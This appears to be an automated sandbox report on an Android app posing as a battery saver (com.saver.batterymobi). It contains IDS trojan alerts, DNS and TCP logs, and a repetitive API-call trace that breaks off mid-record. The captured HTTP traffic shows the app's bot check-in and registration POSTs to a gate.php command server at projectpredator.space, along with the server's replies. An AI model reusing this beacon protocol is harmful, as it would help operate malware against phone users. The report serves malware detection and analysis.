          abc_ic_commit_search_api_mtrl_alpha.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced173
          tooltip_frame_light.xmlAndroid binary XML484
          select_dialog_multichoice_material.xmlAndroid binary XML864
          select_dialog_item_material.xmlAndroid binary XML640
          androidx.drawerlayout_drawerlayout.versionASCII text6
          abc_btn_radio_to_on_mtrl_015.pngPNG image data, 128 x 128, 8-bit gray+alpha, non-interlaced946
          abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced202
          abc_tooltip_enter.xmlAndroid binary XML388
          abc_btn_switch_to_on_mtrl_00012.9.pngPNG image data, 41 x 41, 8-bit gray+alpha, non-interlaced1243
          androidx.print_print.versionASCII text6
          abc_tooltip.xmlAndroid binary XML972
          notification_action_tombstone.xmlAndroid binary XML1332
          abc_switch_track_mtrl_alpha.9.pngPNG image data, 94 x 64, 8-bit gray+alpha, non-interlaced813
          abc_popup_background_mtrl_mult.9.pngPNG image data, 128 x 64, 8-bit gray+alpha, non-interlaced1544
          abc_list_pressed_holo_dark.9.pngPNG image data, 9 x 9, 8-bit gray+alpha, non-interlaced208
          abc_fade_in.xmlAndroid binary XML388
          abc_text_select_handle_left_mtrl_dark.pngPNG image data, 66 x 33, 8-bit/color RGBA, non-interlaced278
          ic_launcher.pngPNG image data, 144 x 144, 8-bit/color RGB, non-interlaced34079
          abc_tab_indicator_material.xmlAndroid binary XML468
          abc_hint_foreground_material_light.xmlAndroid binary XML564
          abc_tint_switch_track.xmlTarga image data - RLE 240 x 65536 x 10 +1 +28 ""768
          abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced910
          notification_action_tombstone.xmlAndroid binary XML1268
          abc_action_mode_bar.xmlAndroid binary XML464
          abc_text_select_handle_right_mtrl_dark.pngPNG image data, 66 x 33, 8-bit/color RGBA, non-interlaced263
          abc_btn_switch_to_on_mtrl_00012.9.pngPNG image data, 54 x 54, 8-bit gray+alpha, non-interlaced1731
          notification_bg_low_normal.9.pngPNG image data, 16 x 16, 8-bit grayscale, non-interlaced221
          abc_popup_background_mtrl_mult.9.pngPNG image data, 192 x 96, 8-bit gray+alpha, non-interlaced2305
          abc_scrubber_control_off_mtrl_alpha.pngPNG image data, 12 x 32, 8-bit gray+alpha, non-interlaced159
          abc_textfield_search_default_mtrl_alpha.9.pngPNG image data, 24 x 6, 8-bit gray+alpha, non-interlaced182
          support_simple_spinner_dropdown_item.xmlAndroid binary XML464
          abc_btn_switch_to_on_mtrl_00001.9.pngPNG image data, 41 x 41, 8-bit gray+alpha, non-interlaced1096
          abc_list_menu_item_checkbox.xmlAndroid binary XML528
          abc_ic_menu_selectall_mtrl_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced183
          abc_edit_text_material.xmlAndroid binary XML868
          abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced178
          abc_scrubber_primary_mtrl_alpha.9.pngPNG image data, 10 x 12, 8-bit gray+alpha, non-interlaced203
          abc_ic_menu_paste_mtrl_am_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced243
          abc_list_longpressed_holo.9.pngPNG image data, 18 x 18, 8-bit/color RGBA, non-interlaced221
          abc_tint_switch_track.xmlAndroid binary XML664
          abc_search_dropdown_item_icons_2line.xmlAndroid binary XML1916
          abc_ab_share_pack_mtrl_alpha.9.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced272
          abc_ic_star_half_black_36dp.pngPNG image data, 54 x 54, 8-bit gray+alpha, non-interlaced328
          abc_cab_background_top_mtrl_alpha.9.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced216
          abc_btn_check_to_on_mtrl_015.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced404
          abc_ratingbar_indicator_material.xmlAndroid binary XML664
          abc_dialog_material_background.xmlAndroid binary XML372

          Advertisement

          Package NameAd Framework and Link

          Network Behavior

          Snort IDS Alerts

          TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
          01/20/19-19:37:20.130780TCP2017930ET TROJAN Trojan Generic - POST To gate.php with no referer3597380192.34.76.23047.88.223.111
          01/20/19-19:37:21.485443TCP2017930ET TROJAN Trojan Generic - POST To gate.php with no referer3902880192.34.76.23047.88.223.111

          Network Port Distribution

          TCP Packets

          TimestampSource PortDest PortSource IPDest IP
          Jan 20, 2019 19:34:46.445480108 CET4650453192.34.76.2308.8.8.8
          Jan 20, 2019 19:34:46.470016003 CET53465048.8.8.8192.34.76.230
          Jan 20, 2019 19:37:19.645039082 CET5925553192.34.76.2308.8.8.8
          Jan 20, 2019 19:37:19.944303036 CET53592558.8.8.8192.34.76.230
          Jan 20, 2019 19:37:19.956500053 CET3597380192.34.76.23047.88.223.111
          Jan 20, 2019 19:37:20.122665882 CET803597347.88.223.111192.34.76.230
          Jan 20, 2019 19:37:20.125505924 CET3597380192.34.76.23047.88.223.111
          Jan 20, 2019 19:37:20.130779982 CET3597380192.34.76.23047.88.223.111
          Jan 20, 2019 19:37:20.331583023 CET803597347.88.223.111192.34.76.230
          Jan 20, 2019 19:37:21.047755003 CET803597347.88.223.111192.34.76.230
          Jan 20, 2019 19:37:21.058494091 CET3597380192.34.76.23047.88.223.111
          Jan 20, 2019 19:37:21.223576069 CET803597347.88.223.111192.34.76.230
          Jan 20, 2019 19:37:21.295609951 CET3902880192.34.76.23047.88.223.111
          Jan 20, 2019 19:37:21.475275040 CET803902847.88.223.111192.34.76.230
          Jan 20, 2019 19:37:21.478786945 CET3902880192.34.76.23047.88.223.111
          Jan 20, 2019 19:37:21.485443115 CET3902880192.34.76.23047.88.223.111
          Jan 20, 2019 19:37:21.703515053 CET803902847.88.223.111192.34.76.230
          Jan 20, 2019 19:37:22.441936970 CET803902847.88.223.111192.34.76.230
          Jan 20, 2019 19:37:22.450787067 CET3902880192.34.76.23047.88.223.111
          Jan 20, 2019 19:37:22.627775908 CET803902847.88.223.111192.34.76.230
          Jan 20, 2019 19:37:35.895339012 CET5715880192.34.76.23047.88.223.111
          Jan 20, 2019 19:37:36.060051918 CET805715847.88.223.111192.34.76.230

          UDP Packets

          TimestampSource PortDest PortSource IPDest IP
          Jan 20, 2019 19:34:46.445480108 CET4650453192.34.76.2308.8.8.8
          Jan 20, 2019 19:34:46.470016003 CET53465048.8.8.8192.34.76.230
          Jan 20, 2019 19:37:19.645039082 CET5925553192.34.76.2308.8.8.8
          Jan 20, 2019 19:37:19.944303036 CET53592558.8.8.8192.34.76.230

          ICMP Packets

          TimestampSource IPDest IPChecksumCodeType
          Jan 20, 2019 19:35:01.704504013 CET192.168.0.2192.34.76.2304737Echo
          Jan 20, 2019 19:35:01.714046001 CET192.34.76.230192.168.0.24f37Echo Reply
          Jan 20, 2019 19:35:11.708838940 CET192.168.0.2192.34.76.2304e25Echo
          Jan 20, 2019 19:35:11.712177038 CET192.34.76.230192.168.0.25625Echo Reply
          Jan 20, 2019 19:35:21.716012001 CET192.168.0.2192.34.76.2303f08Echo
          Jan 20, 2019 19:35:21.719048977 CET192.34.76.230192.168.0.24708Echo Reply
          Jan 20, 2019 19:35:31.724018097 CET192.168.0.2192.34.76.230ede7Echo
          Jan 20, 2019 19:35:31.725449085 CET192.34.76.230192.168.0.2f5e7Echo Reply
          Jan 20, 2019 19:35:41.734639883 CET192.168.0.2192.34.76.23065bdEcho
          Jan 20, 2019 19:35:41.736502886 CET192.34.76.230192.168.0.26dbdEcho Reply

          DNS Queries

          TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
          Jan 20, 2019 19:37:19.645039082 CET192.34.76.2308.8.8.80x64f3Standard query (0)projectpredator.spaceA (IP address)IN (0x0001)

          DNS Answers

          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
          Jan 20, 2019 19:37:19.944303036 CET8.8.8.8192.34.76.2300x64f3No error (0)projectpredator.space47.88.223.111A (IP address)IN (0x0001)

          HTTP Request Dependency Graph

          • projectpredator.space

          HTTP Packets

          Session IDSource IPSource PortDestination IPDestination Port
          0192.34.76.2303597347.88.223.11180
          TimestampkBytes transferredDirectionData
          Jan 20, 2019 19:37:20.130779982 CET9INPOST /gate.php HTTP/1.1
          Content-Length: 110
          User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; MotoG3 Build/LPI23.72-47)
          Host: projectpredator.space
          Connection: Keep-Alive
          Accept-Encoding: gzip
          Content-Type: application/x-www-form-urlencoded
          Data Raw: 6f 70 65 72 61 74 69 6f 6e 3d 63 68 65 63 6b 62 6f 74 26 64 61 74 61 3d 4d 7a 42 69 4d 32 59 79 59 57 46 69 59 54 41 7a 4d 6d 59 31 4d 44 42 6d 59 6a 55 35 4f 54 55 78 5a 47 45 78 4f 44 5a 6b 4d 44 49 78 59 6a 45 35 5a 54 56 6c 4d 44 55 32 4d 7a 68 6c 5a 54 59 32 4e 44 41 31 4f 47 55 35 4d 54 45 77 0a 59 6d 51 77 4e 47 51 3d 0a
          Data Ascii: operation=checkbot&data=MzBiM2YyYWFiYTAzMmY1MDBmYjU5OTUxZGExODZkMDIxYjE5ZTVlMDU2MzhlZTY2NDA1OGU5MTEwYmQwNGQ=
          Jan 20, 2019 19:37:21.047755003 CET9INHTTP/1.1 200 OK
          Server: nginx/1.14.1
          Date: Sun, 20 Jan 2019 18:37:20 GMT
          Content-Type: text/html; charset=UTF-8
          Transfer-Encoding: chunked
          Connection: close
          Data Raw: 31 30 0d 0a 4d 7a 68 69 5a 57 45 30 59 54 46 68 5a 6a 51 32 0d 0a 30 0d 0a 0d 0a
          Data Ascii: 10MzhiZWE0YTFhZjQ20


          Session IDSource IPSource PortDestination IPDestination Port
          1192.34.76.2303902847.88.223.11180
          TimestampkBytes transferredDirectionData
          Jan 20, 2019 19:37:21.485443115 CET10INPOST /gate.php HTTP/1.1
          Content-Length: 199
          User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; MotoG3 Build/LPI23.72-47)
          Host: projectpredator.space
          Connection: Keep-Alive
          Accept-Encoding: gzip
          Content-Type: application/x-www-form-urlencoded
          Data Raw: 6f 70 65 72 61 74 69 6f 6e 3d 72 65 67 69 73 74 72 61 74 69 6f 6e 26 64 61 74 61 3d 4d 7a 42 69 4d 32 59 79 59 57 46 69 59 54 41 7a 4d 6d 59 31 4d 44 42 6d 59 6a 55 35 4f 54 55 78 5a 47 45 78 4f 44 5a 6b 4d 44 49 78 59 6a 45 35 5a 54 56 6c 4d 44 55 32 4d 7a 68 6c 5a 54 59 32 4e 44 41 31 59 32 5a 6b 4d 54 41 78 0a 5a 6d 51 77 4e 47 52 6d 5a 44 63 78 4e 6a 4d 33 4d 32 49 33 5a 54 6b 33 4d 32 45 31 4d 6a 68 68 5a 6a 67 30 4e 7a 45 78 4d 44 6c 6a 59 54 4d 77 4d 6a 55 30 59 32 46 69 4f 44 49 79 59 7a 5a 6b 4d 54 4a 69 59 6d 45 79 4f 54 4a 69 0a 4d 6d 55 35 4e 54 6c 6d 5a 6a 64 6c 5a 44 63 7a 0a
          Data Ascii: operation=registration&data=MzBiM2YyYWFiYTAzMmY1MDBmYjU5OTUxZGExODZkMDIxYjE5ZTVlMDU2MzhlZTY2NDA1Y2ZkMTAxZmQwNGRmZDcxNjM3M2I3ZTk3M2E1MjhhZjg0NzExMDljYTMwMjU0Y2FiODIyYzZkMTJiYmEyOTJiMmU5NTlmZjdlZDcz
          Jan 20, 2019 19:37:22.441936970 CET10INHTTP/1.1 200 OK
          Server: nginx/1.14.1
          Date: Sun, 20 Jan 2019 18:37:22 GMT
          Content-Type: text/html; charset=UTF-8
          Transfer-Encoding: chunked
          Connection: close
          Data Raw: 38 0d 0a 4d 6d 4a 68 4f 51 3d 3d 0d 0a 30 0d 0a 0d 0a
          Data Ascii: 8MmJhOQ==0


          APK Behavior

          Installation Messages
          NameIs Error
          • Renaming /data/app/vmdl1921870922.tmp to /data/app/com.saver.batterymobi-1
          • Running dexopt on: /data/app/com.saver.batterymobi-1/base.apk pkg=com.saver.batterymobi isa=arm vmSafeMode=false
          • Unknown permission android.permission.REQUEST_INSTALL_PACKAGES in package com.saver.batterymobi
          • Unknown permission android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS in package com.saver.batterymobi
          • Not granting permission android.permission.INSTALL_PACKAGES to package com.saver.batterymobi (protectionLevel=18 flags=0x48be44)
          false
          Started Services

          Simulated Events

          TypeData
          boot completed
          • -
          time tick
          • -
          incoming sms
          • 0123456789
          • this is a text message
          outgoing sms
          • 9876543210
          • thank you
          location change
          • 54.13
          • 12.14
          motion simulation
          • -
          incoming call
          • 0123456789
          outgoing call
          • 9876543210
          time tick
          • -

          Interacted Views

          View Data
          • Object: android.support.v7.widget.n{2fa5f9ff VFED..C. ........ 130,629-592,959 #7f070022 app:id/btnSwitch}
          • X: 130
          • Y: 791
          • Object: android.support.v7.widget.n{2fa5f9ff VFED..C. ........ 130,629-592,959 #7f070022 app:id/btnSwitch}
          • X: 130
          • Y: 791
          • Object: android.support.v7.widget.n{2fa5f9ff VFED..C. ........ 130,629-592,959 #7f070022 app:id/btnSwitch}
          • X: 130
          • Y: 791
          • Object: android.support.v7.widget.n{2fa5f9ff VFED..C. ........ 130,629-592,959 #7f070022 app:id/btnSwitch}
          • X: 130
          • Y: 791
          • Object: android.support.v7.widget.n{2fa5f9ff VFED..C. ........ 130,629-592,959 #7f070022 app:id/btnSwitch}
          • X: 361
          • Y: 956
          API: java.net.URL->openConnection at com.saver.batterymobi.lkj.a.c$a.a:12 Show source
          API: android.webkit.WebView-><init> at com.saver.batterymobi.lkj.zxs.drg.onCreate:29 Show source
          API: java.net.URL->openConnection at com.saver.batterymobi.lkj.a.a$a.a:8 Show source
          API: java.net.URL->openConnection at com.saver.batterymobi.lkj.a.c.b:28 Show source
          API: com.saver.batterymobi.lkj.a->getClass at com.saver.batterymobi.lkj.a.c.b:6 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: initialization
          p1null
          • toString: null
          NameTypeValue
          Return Valuenull
          • toString: null
          API: com.saver.batterymobi.lkj.a->getClass at com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          API: com.saver.batterymobi.lkj.a->getClass at com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          API: com.saver.batterymobi.lkj.a->getClass at com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          API: com.saver.batterymobi.lkj.a->getClass at com.saver.batterymobi.lkj.a.c.a:15 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          API: com.saver.batterymobi.lkj.a->getClass at com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          API: com.saver.batterymobi.lkj.a->getClass at com.saver.batterymobi.lkj.a.c.a:25 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          API: com.saver.batterymobi.lkj.a->getClass at com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          API: com.saver.batterymobi.lkj.a->getClass at com.saver.batterymobi.lkj.a.c.a:35 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          API: com.saver.batterymobi.lkj.a->getClass at com.saver.batterymobi.lkj.a.c.a:3 Show source
          NameTypeValue
          Return Valuejava.lang.Class
          • toString: class com.saver.batterymobi.lkj.a
          • getName: com.saver.batterymobi.lkj.a
          API: com.saver.batterymobi.MainActivity->getSystemService at com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@37ca2547
          API: com.saver.batterymobi.MainActivity->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          API: com.saver.batterymobi.lkj.a.c->c at com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: com.saver.batterymobi.lkj.a.c->d at com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          API: android.app.ReceiverRestrictedContext->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.ReceiverRestrictedContext->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          API: com.saver.batterymobi.lkj.a.c->c at com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: com.saver.batterymobi.lkj.a.c->d at com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          API: android.app.ReceiverRestrictedContext->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.ReceiverRestrictedContext->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          API: com.saver.batterymobi.lkj.a.c->c at com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: com.saver.batterymobi.lkj.a.c->d at com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          API: android.app.ReceiverRestrictedContext->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.ReceiverRestrictedContext->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          API: com.saver.batterymobi.lkj.a.c->c at com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: com.saver.batterymobi.lkj.a.c->d at com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          API: android.app.ReceiverRestrictedContext->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.ReceiverRestrictedContext->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: com.saver.batterymobi.MainActivity->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: com.saver.batterymobi.MainActivity->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: com.saver.batterymobi.MainActivity->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          API: com.saver.batterymobi.lkj.a.c->c at com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: com.saver.batterymobi.lkj.a.c->d at com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          API: android.app.ReceiverRestrictedContext->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.ReceiverRestrictedContext->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: com.saver.batterymobi.MainActivity->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          API: com.saver.batterymobi.lkj.a.c->c at com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: com.saver.batterymobi.lkj.a.c->d at com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.Application->getSystemService at com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          API: android.app.Application->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.Application->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: com.saver.batterymobi.MainActivity->checkCallingOrSelfPermission at com.saver.batterymobi.lkj.a.c.e:1 Show source
          NameTypeValue
          p0java.lang.String
          • toString: android.permission.WRITE_EXTERNAL_STORAGE
          NameTypeValue
          Return Valuejava.lang.Integer
          • toString: 0
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: kill
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: ""
          API: com.saver.batterymobi.lkj.a.c->c at com.saver.batterymobi.lkj.a.c.b:5 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: com.saver.batterymobi.lkj.a.c->d at com.saver.batterymobi.lkj.a.c.b:11 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.a.c.a:13 Show source
          NameTypeValue
          p0java.lang.String
          • toString: alarm
          NameTypeValue
          Return Valueandroid.app.AlarmManager
          • toString: android.app.AlarmManager@503a356
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          NameTypeValue
          p0java.lang.String
          • toString: step
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          API: com.saver.batterymobi.lkj.a.c->b at com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
